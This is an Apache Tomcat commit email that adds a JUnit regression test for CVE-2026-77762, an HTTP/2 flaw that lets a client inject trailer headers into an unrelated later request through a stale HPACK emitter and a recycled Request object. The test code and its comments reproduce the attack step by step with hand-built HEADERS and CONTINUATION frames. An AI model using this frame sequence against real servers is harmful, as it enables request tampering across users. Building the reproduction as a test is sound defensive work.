This is an automated email from the ASF dual-hosted git repository.
markt-asf pushed a commit to branch 11.0.x
in repository https://gitbox.apache.org/repos/asf/tomcat.git
The following commit(s) were added to refs/heads/11.0.x by this push:
new 8ed480fca6 Add test case for CVE-2026-77762
8ed480fca6 is described below
commit 8ed480fca69e630b08b728da00578f1cdadabd80
Author: Mark Thomas <[email protected]>
AuthorDate: Fri Aug 21 11:21:02 2026 +0100
Add test case for CVE-2026-77762
Generated-by: Claude Code / Sonnet 5
---
.../org/apache/coyote/http2/TestHttp2Security.java | 246 +++++++++++++++++++++
1 file changed, 246 insertions(+)
diff --git a/test/org/apache/coyote/http2/TestHttp2Security.java
b/test/org/apache/coyote/http2/TestHttp2Security.java
new file mode 100644
index 0000000000..dc87c54b12
--- /dev/null
+++ b/test/org/apache/coyote/http2/TestHttp2Security.java
@@ -0,0 +1,246 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.coyote.http2;
+
+import java.io.IOException;
+import java.nio.ByteBuffer;
+
+import jakarta.servlet.ServletException;
+import jakarta.servlet.http.HttpServlet;
+import jakarta.servlet.http.HttpServletRequest;
+import jakarta.servlet.http.HttpServletResponse;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+import org.apache.catalina.Context;
+import org.apache.catalina.LifecycleException;
+import org.apache.catalina.startup.Tomcat;
+import org.apache.coyote.http11.AbstractHttp11Protocol;
+import org.apache.tomcat.util.http.MimeHeaders;
+
+/*
+ * Tests that can't easily be added to the {@code org.apache.tomcat.security}
package because they need access to
+ * package private classes.
+ */
+public class TestHttp2Security extends Http2TestBase {
+
+ private static final String INJECTED_TRAILER_VALUE =
"stolen-from-reset-stream-3";
+
+ /*
+ * Reproduces a stale HPACK HeaderEmitter reference surviving a
server-side stream reset.
+ * <p>
+ * {@link HpackDecoder} holds a reference to the {@link Stream} (its
{@link HpackDecoder.HeaderEmitter}) for the
+ * entire time a header block is open, i.e. from the HEADERS frame that
starts it until the frame (HEADERS or
+ * CONTINUATION) that carries the END_HEADERS flag. That reference is only
cleared early in two cases:
+ * {@link Http2Parser#afterHeadersCompleteCleanUp(boolean)} is called from
{@link Http2Parser#readRstFrame} (RST
+ * frame *received from the client*) and from {@link
Http2Parser#onHeadersComplete} (END_HEADERS seen). Nothing
+ * clears it when Tomcat resets the stream itself.
+ * <p>
+ * Separately, when a servlet completes its response without reading the
full request body,
+ * {@code StreamProcessor.process()} takes the {@code
!stream.isInputFinished()} branch, resets the stream
+ * (RST_STREAM, NO_ERROR, observed by the client) and, once the stream is
replaced, {@link Stream#recycle()} pushes
+ * the (now recycled) {@code Request}/{@code Response} pair back into
+ * {@link Http2Protocol#recycledRequestsAndResponses} -- a stack shared by
every stream the connector processes.
+ * <p>
+ * Combining the two: if the client leaves a trailer HEADERS frame for the
just-reset stream open (no END_HEADERS)
+ * and only later completes it with a CONTINUATION frame, that
CONTINUATION is decoded against the stale,
+ * already-recycled {@link Stream} object. Its {@link
Stream#emitHeader(String, String)} writes straight into
+ * {@code coyoteRequest.getMimeTrailerFields()} -- but {@code
coyoteRequest} is a {@code final} field, so it is the
+ * exact same {@code Request} instance later handed out (by {@link
Http2Protocol#popRequestAndResponse()}) to
+ * whichever stream next pops it from the shared pool. The result is
attacker-controlled trailer injection into an
+ * unrelated request.
+ * <p>
+ * Generated by Claude Code with Sonnet 5
+ */
+ @Test
+ public void testCVE_2026_77762() throws Exception {
+ http2Connect();
+
+ ((AbstractHttp11Protocol<?>)
http2Protocol.getHttp11Protocol()).setAllowedTrailerHeaders(TRAILER_HEADER_NAME);
+
+ // 1) Stream 3: announce a POST but never send (or read) a body. The
+ // "/noread" servlet completes its response immediately, so Tomcat's
+ // StreamProcessor will notice the request body was never fully read
+ // and reset the stream (NO_ERROR) once processing finishes.
+ sendHeadersNoBody(3, "/noread");
+
+ // 2) Without waiting for that reset, the (attacker-controlled) client
+ // immediately starts a *trailer* header block for the same stream,
+ // but withholds END_HEADERS. NoReadServlet sleeps briefly on its own
+ // (separate, worker) thread before completing, which gives the
+ // connection's parser thread -- blocked on nothing but a handful of
+ // already-buffered bytes -- more than enough time to process this
+ // frame first. Http2Parser.readHeadersFrame() points hpackDecoder's
+ // HeaderEmitter at the (still, for now, live) Stream 3 object, and
+ // Http2Parser.headersCurrentStream is left pointing at stream 3
+ // because the header block was not closed.
+ //
+ // This ordering matters: Stream.close() -> Stream.replace() swaps the
+ // Stream 3 entry in Http2UpgradeHandler's stream map for a lightweight
+ // stub the instant the reset happens, so a HEADERS frame for stream 3
+ // arriving *after* that point would be rejected outright (the parser
+ // would treat streamId 3 as an unknown/new stream and close the
+ // connection with a PROTOCOL_ERROR). Sending this before the reset
+ // sidesteps that: Http2Parser.readContinuationFrame() (step 3 below)
+ // never re-checks the stream map at all, it just trusts whatever
+ // object hpackDecoder.getHeaderEmitter() already holds -- which is
+ // why the swap does not save it once the header block is open.
+ sendOrphanedTrailerHeadersStart(3);
+
+ Assert.assertTrue("Server did not reset stream 3 for the unread
request body", readUntilStreamReset(3));
+
+ // 3) ... arbitrarily later, from the parser's perspective (a
+ // client-controlled pause) ... the CONTINUATION that finally closes
+ // that header block arrives. Nothing severed the emitter in the
+ // meantime (that only happens on END_HEADERS or on an RST *received*
+ // from the client - neither happened here), so the header it carries
+ // is delivered straight into the stale Stream 3 object, which writes
+ // it into the shared, recycled Request via getMimeTrailerFields().
+ sendOrphanedTrailerContinuation(3, TRAILER_HEADER_NAME,
INJECTED_TRAILER_VALUE);
+
+ // 4) A brand new stream is opened. Its Stream pops a Request/Response
+ // pair from the shared pool. Since nothing else has touched the pool,
+ // it pops back the exact same (now poisoned) Request that stream 3's
+ // orphaned trailer just wrote into.
+ output.setTraceBody(true);
+ sendSimplePostRequest(5, null);
+
+ // Stream 5 never sent any trailers of its own, so the only way its
+ // response can contain the injected value is via the reused,
+ // shared Request object.
+ boolean foundInjectedTrailer = false;
+ for (int i = 0; i < 20 && parser.readFrame(); i++) {
+ String trace = output.getTrace();
+ if (trace.contains(INJECTED_TRAILER_VALUE)) {
+ foundInjectedTrailer = true;
+ }
+ if (trace.contains("5-EndOfStream")) {
+ break;
+ }
+ }
+
+ // This is expected to fail until the HeaderEmitter held by
+ // HpackDecoder is severed when Tomcat itself resets a stream (not
+ // just on END_HEADERS or a client-sent RST for that stream), and/or
+ // Stream.emitHeader() is prevented from writing into a Request that
+ // has already been recycled.
+ Assert.assertFalse("Trailer value injected via stream 3's orphaned
trailer CONTINUATION (sent after " +
+ "stream 3 was reset for an unread request body) leaked into
stream 5's unrelated request/response " +
+ "via the shared, recycled Request object. Trace:\n" +
output.getTrace(), foundInjectedTrailer);
+ }
+
+
+ private void sendHeadersNoBody(int streamId, String path) throws
IOException {
+ byte[] headersFrameHeader = new byte[9];
+ ByteBuffer headersPayload = ByteBuffer.allocate(128);
+ byte[] dataFrameHeader = new byte[9];
+ ByteBuffer dataPayload = ByteBuffer.allocate(128);
+
+ buildPostRequest(headersFrameHeader, headersPayload, false, null, -1,
path, dataFrameHeader, dataPayload, null,
+ false, streamId);
+ // Only write the HEADERS frame. Deliberately never write the DATA
+ // frame (and therefore never send END_STREAM) so the request body
+ // is left permanently incomplete from Tomcat's point of view.
+ writeFrame(headersFrameHeader, headersPayload);
+ }
+
+
+ private boolean readUntilStreamReset(int streamId) throws Exception {
+ String target = streamId + "-RST-[" + Http2Error.NO_ERROR.getCode() +
"]\n";
+ for (int i = 0; i < 20 && parser.readFrame(); i++) {
+ if (output.getTrace().contains(target)) {
+ return true;
+ }
+ }
+ return false;
+ }
+
+
+ private void sendOrphanedTrailerHeadersStart(int streamId) throws
IOException {
+ byte[] frameHeader = new byte[9];
+ ByteBuffer payload = ByteBuffer.allocate(0);
+
+ ByteUtil.setThreeBytes(frameHeader, 0, 0);
+ frameHeader[3] = FrameType.HEADERS.getIdByte();
+ // Flags: END_STREAM (0x01) only. Trailer HEADERS frames must set
+ // END_STREAM (Stream.receivedStartOfHeaders() sets a headerException
+ // otherwise, which would make emitHeader() a no-op below).
+ // Deliberately NOT setting END_HEADERS (0x04): this leaves the header
+ // block open on the wire, exactly as a client pausing before sending
+ // the CONTINUATION would.
+ frameHeader[4] = 0x01;
+ ByteUtil.set31Bits(frameHeader, 5, streamId);
+
+ writeFrame(frameHeader, payload);
+ }
+
+
+ private void sendOrphanedTrailerContinuation(int streamId, String name,
String value) throws IOException {
+ byte[] frameHeader = new byte[9];
+ ByteBuffer payload = ByteBuffer.allocate(128);
+
+ MimeHeaders injected = new MimeHeaders();
+ injected.addValue(name).setString(value);
+ hpackEncoder.encode(injected, payload);
+ payload.flip();
+
+ ByteUtil.setThreeBytes(frameHeader, 0, payload.limit());
+ frameHeader[3] = FrameType.CONTINUATION.getIdByte();
+ // Flags: END_HEADERS (0x04). This finally closes the header block
+ // that was left open by sendOrphanedTrailerHeadersStart().
+ frameHeader[4] = 0x04;
+ ByteUtil.set31Bits(frameHeader, 5, streamId);
+
+ writeFrame(frameHeader, payload);
+ }
+
+
+ @Override
+ protected void configureAndStartWebApplication() throws LifecycleException
{
+ Tomcat tomcat = getTomcatInstance();
+
+ Context ctxt = getProgrammaticRootContext();
+ Tomcat.addServlet(ctxt, "simple", new SimpleServlet());
+ ctxt.addServletMapping("/simple", "simple");
+ Tomcat.addServlet(ctxt, "noread", new NoReadServlet());
+ ctxt.addServletMapping("/noread", "noread");
+
+ tomcat.start();
+ }
+
+
+ private static class NoReadServlet extends HttpServlet {
+
+ private static final long serialVersionUID = 1L;
+
+ @Override
+ protected void doPost(HttpServletRequest req, HttpServletResponse
resp) throws ServletException, IOException {
+ // Give the test time to open (but not close) a trailer header
+ // block for this stream on the connection's parser thread before
+ // this (separate, worker) thread completes the response without
+ // having read any part of the (announced but never sent) request
+ // body -- which is what makes Tomcat reset this stream.
+ try {
+ Thread.sleep(200);
+ } catch (InterruptedException e) {
+ Thread.currentThread().interrupt();
+ }
+ resp.setStatus(HttpServletResponse.SC_OK);
+ }
+ }
+}
---------------------------------------------------------------------
To unsubscribe, e-mail: [email protected]
For additional commands, e-mail: [email protected]